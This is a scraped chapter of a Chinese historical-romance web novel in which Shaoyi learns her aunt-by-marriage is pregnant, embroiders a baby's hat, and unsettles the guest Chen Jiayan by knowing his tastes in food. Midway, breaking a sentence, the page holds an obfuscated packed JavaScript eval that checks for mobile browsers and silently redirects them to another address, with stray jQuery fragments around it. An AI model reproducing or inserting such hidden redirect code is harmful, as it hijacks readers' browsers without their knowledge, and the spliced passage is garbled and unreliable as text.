默认冷灰
24号文字
方正启体

8. 怀疑

作者:阿然今天吃什么本书字数:K更新时间:
    今早冬停来服侍少宜盥洗,她一边递上帕子一边说道:“小姐,昨夜二奶奶那边叫了大夫过去。”


    少宜心中一惊,忙问:“二奶奶怎么了,哪里不舒服?”


    冬停摇摇头,“那边院子没有传出消息来。”


    少宜听了不免忐忑。二人相处了这段时间,她对二奶奶也算熟悉,知道她不是个喜欢麻烦别人的人。若不是撑不住了,定不会深夜找大夫前来。所以二奶奶昨夜一定是极不舒服!


    越想她心中越焦急,连早饭都没吃,梳妆整理一番后就带着冬停急急地去了那边的院子。


    姨夫和二奶奶居住的院子名叫琴瑟居,就在涵月阁不远处,少宜赶到的时候姨夫已经出门去了,赵氏正要用早饭。


    赵氏面上显露出些许疲惫,但看上去心情却很是不错的样子,她愉悦地朝少宜招手,“你怎么来了,用过饭没有?快来坐,陪我再吃一些!”


    少宜上前一步,关切地问:“我听说您昨夜叫了大夫,心里很是担心。您究竟是哪里不舒服,大夫又是怎么说的?”


    赵氏抿唇笑了笑,只是拉她坐下。“别担心,你先坐!”


    少宜坐下后才发现厅堂里的气氛很奇怪,丫鬟们一个个喜上眉梢的样子。


    这是怎么回事?二奶奶生病了,她们怎么还如此开心!而且二奶奶看上去也没有什么不舒服的样子,她到底是生了什么病呢?


    少宜懵懂茫然的神情让赵氏更加忍俊不禁起来,她笑着对自己的贴身丫鬟雪疏说道:“你看,少宜还是个不谙人事的小丫头呢!”


    雪疏知道二奶奶对陆小姐情谊不一般,便顺着她的话说:“小姐年纪还轻,不懂这些也是有的。”


    少宜看看雪疏,又看了看赵氏。


    赵氏笑得很温柔:“少宜,我有身孕了。”


    “真的?”少宜满脸激动。


    “昨晚用过饭后,我便一直恶心不适,以为只是吃得油腻了些,喝点清茶就好了。没想到夜里又开始犯恶心,二更时候吐了一次。我原想等明早再说,可二爷说什么都要请大夫过来。”赵氏向少宜解释道,“后来大夫替我搭了脉,我才知道自己原来有身孕了!”


    “幸好姨夫请了大夫来,不然我都不知道自己要有小表弟了!”少宜笑道。


    “你怎知是小表弟?我倒盼着是个女孩呢……”赵氏摸着仍旧平坦的小腹,脸上洋溢着幸福的期待。


    二爷的第一任妻子没有为他诞下子嗣便去了,因此这不仅是赵氏的头胎,也是二房的第一胎。


    按理来讲,第一个孩子是男孩更好。长子长大了支应门庭,也可以照顾弟妹。


    二爷自然也是这么想的。赵氏明白丈夫的心愿,可她却期望着是一个女儿。


    一个像妹妹一样,乖巧可爱的女孩。


    “是表弟是表妹都好,我打算给他绣个‘虎虎生风’的小帽子!”


    “好呀!”赵氏很开心,“那我就等着你绣的小帽子了!你可得快点绣,不能偷懒!”


    少宜认真地点点头,她马上在心里盘算起来。


    用什么布料好呢?小孩子的皮肤最是娇嫩,一定要用柔软透气的面料才行。


    回到涵月阁,少宜让云笙把松江布找出来,摸了摸,觉得这个正好!


    紧接着她又开始绘花样子,老虎的眼睛要又大又圆,这样才显得有精气神!


    云筝笑着说:“二奶奶有了身孕,小姐怎么好像是自己有了身孕一样!您从回来整个人就喜气洋洋的,连眼睛都笑弯了!”


    少宜抬起头,看向铜镜中自己的脸,果然是眉眼俱笑。


    “我很喜欢小孩子!”她脱口而出。


    得知二奶奶怀孕的消息,她心里真是高兴得不得了!要是……要是,她自己也能有个孩子,那该有多好呀!


    少宜想到这里愣了愣。


    她还没成亲,怎么会想要有个自己的孩子呢?这想法也……太奇怪了些!


    少宜甩甩脑袋,仿佛要把乱七八糟的思想全都甩出去。


    还是快些把花样子画好吧,然后拿给二奶奶看看,看她喜不喜欢!


    有了事情做,日子变得更快了些。少宜每天下学后,便窝在房里绣帽子,眼睛累了、花了,就到外面院子里去和小丫鬟们踢踢毽子。万玉宁几次来找她出去玩,她都没去。


    纵使是这样,帽子也绣了快一个月才绣完。少宜绣的很细致,针脚粗了容易划痛小孩子的皮肤。


    今日终于绣好了,少宜很想马上拿给二奶奶看,她披上斗篷,和冬停一起往琴瑟居去。


    此时已是深秋之末,仲冬之始。京城的冬天来的要更加早些,风里已有了寒意,少宜向来怕冷,便裹紧外袍,加快了脚步。


    “少宜?是少宜吗!”有人朗声唤她的名字。


    少宜闻声回头,看见二爷和陈嘉宴竟并肩向她走来。


    “姨夫,陈大爷。”少宜忙向二人行礼。


    “刚才远远地看着我便觉得身形像你,却也没敢认,还是看见你的丫鬟才确定是你。”二爷笑道,“你怎么裹得这么严实,我差点没瞧出来!”


    少宜不好意思地笑笑,“我天生怕冷。”


    “哦?你很怕冷吗?怎么以前没听你姨母讲过……”裴二爷回想着,“我怎么记得你姨母说你是个怕热的……”


    少宜站在原地等他说完,身子不自觉发起抖来。


    裴二爷心粗,浑然不觉少宜已经要冻透了。最后还是陈嘉宴看不下去,开口问道:“你这是要去哪里?”


    少宜忙答:“我要去找二奶奶去!”


    “你也要去琴瑟居,正好,我和子安也要回去,与你同路。”


    裴二爷招呼着少宜一起走,少宜只好落后一步,跟在裴二爷和陈嘉宴身后,不远不近地跟着。


    裴二爷又道:“你走那么远做什么?跟在我们后面像个小丫鬟似的,又把自己裹得这般厚,当心有人错认了你!”


    陈嘉宴知道是因为自己在,虽然俩人隔着辈分,但他到底是外男,大庭广众之下让人看到了不好,所以少宜才要避嫌。


    “小姑娘走得慢些,不如咱们先走一步。”他对裴二爷说。


    “你啊你啊!”裴二爷摇着手指点向陈嘉宴,“这可是我外甥女,我怎么能抛下她不管呢?不然你自己先走好了!”


    陈嘉宴无语凝噎。


    他走什么走?主人家在后面,自己身为客人反而先行一步!


    况且琴瑟居里只有二奶奶在,难不成要怀有身孕的二奶奶招待他不成!


    少宜也想到了这点,颇为无奈地道:“不用如此麻烦,少宜走快些便是。”


    说完便走到了裴二爷另一侧,与陈嘉宴隔着一人的距离,三人就这样并排向琴瑟居走去。


    一路上裴二爷和陈嘉宴有说有笑。


    自从妻子怀孕后,他整个人就变得亢奋起来,恨不得把这个消息传遍全京城才好。今日正好碰见陈嘉宴,便说什么也要拉着他到自己那里喝口茶再走。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487025|202070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>陈嘉宴百般推脱不过,只好跟了过来。


    进了琴瑟居的大门,裴二爷就急道:“你们奶奶呢?今日可好?进的香不香,又吐了没有?”


    雪疏给裴二爷行了礼,“回二爷,二奶奶今日没有吐,午饭用了些荞麦饼和银耳羹,现下已经睡了。”


    “睡了好,睡了好。千万不要吵醒她,不用告诉她我回来了,知道吗?”裴二爷嘱咐。


    雪疏点头称是。


    裴二爷和陈嘉宴去了前厅。少宜想,既然二奶奶睡了,那她晚些再来好了,便要走。


    雪疏却拦住了她。


    “陆小姐,您是要找二奶奶吗?不如稍坐坐,我这就拿些点心来给小姐吃。二爷前些日子带回来了钱记的栗子糕,二奶奶吩咐过奴婢,等小姐来了定要拿给您!”


    “雪疏姐姐,你快来!”有小丫鬟着急忙慌地叫她,“二奶奶那件丁香色的补服不知道收在哪里,我们都找不见,你来帮我们找找吧,二奶奶醒了后要穿的!”


    “这群小丫头,连这点事情都做不好,衣服找不到也要来烦我!”雪疏气结,为难地看向少宜。


    少宜马上道:“你快去罢!不必管我,我自己去茶房吃便是。反正我经常出入这边,什么都找得到的!”


    雪疏有些不好意思,“那我就先去给二奶奶找衣服了,您先去茶房,那里的丫鬟会招待您!”


    少宜摆摆手,示意她快去忙自己的事,然后便轻车熟路地往茶房走去。


    茶房的小丫鬟和少宜亦相熟,见到她便热情地打招呼。


    “陆小姐!您可是来找栗子糕的?”


    她拿出少宜惯用的托盘,手脚麻利地摆上栗子糕,又倒上一杯热茶。


    “小姐从涵月阁过来很冷吧?快喝口茶,暖暖胃!”


    少宜提起杯轻呷了一口,觉得身上的寒气渐渐散去,又咬上一口栗子糕,整个人舒服极了!


    小丫鬟看了便笑道:“这栗子糕这么好吃,不如给二爷和陈大爷也送去!”


    少宜却突然道:“栗子糕太过甜腻,陈大爷不喜欢。你不如给他们上些清香淡雅的松花糕,再冲泡一壶正山小种。”


    小丫鬟不疑有他,听完立刻从后门跑去小厨房要松花糕。


    茶房里便只剩下少宜一人,正仔细回味着刚才自己说的话。


    陈大爷不喜欢吃甜腻的,她是怎么知道的?


    自己竟然回答的如此顺口,好像与人家有多相熟一般,幸好那丫鬟没有多想!


    少宜拍了拍胸口,心想以后可不能再乱说话了!


    而茶房外仅一帘之隔,陈嘉宴一动不动地,不知已经站了多久。


    他的脸上闪过疑惑,紧接着变得郁沉,心想这丫头当真不简单,不知从哪里得知了自己的喜好,还记在了心里!


    陈嘉宴在人前饮食时非常注意,不管是什么都只用一些,甚少暴露出自己的喜好。


    除了亲密的人,没人真正知道自己爱吃什么、爱喝什么,这样对他来讲才够安全。


    他不知道陆少宜是如何得知的。


    难道是大姐告诉她的?可大姐明明不喜她,又怎会和她提起自己呢?


    陈嘉宴越想,脸上的郁色越浓。被别人得知喜恶让他很没有安全感,他不知道自己是哪里疏忽了,也不知道这小丫头背后是谁,竟然有这般能力!他到底想做什么?又为何要派一个小丫头来试探他?


    在门口站了一会儿,陈嘉宴垂下本欲掀开帘子的手,又无声地离开了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)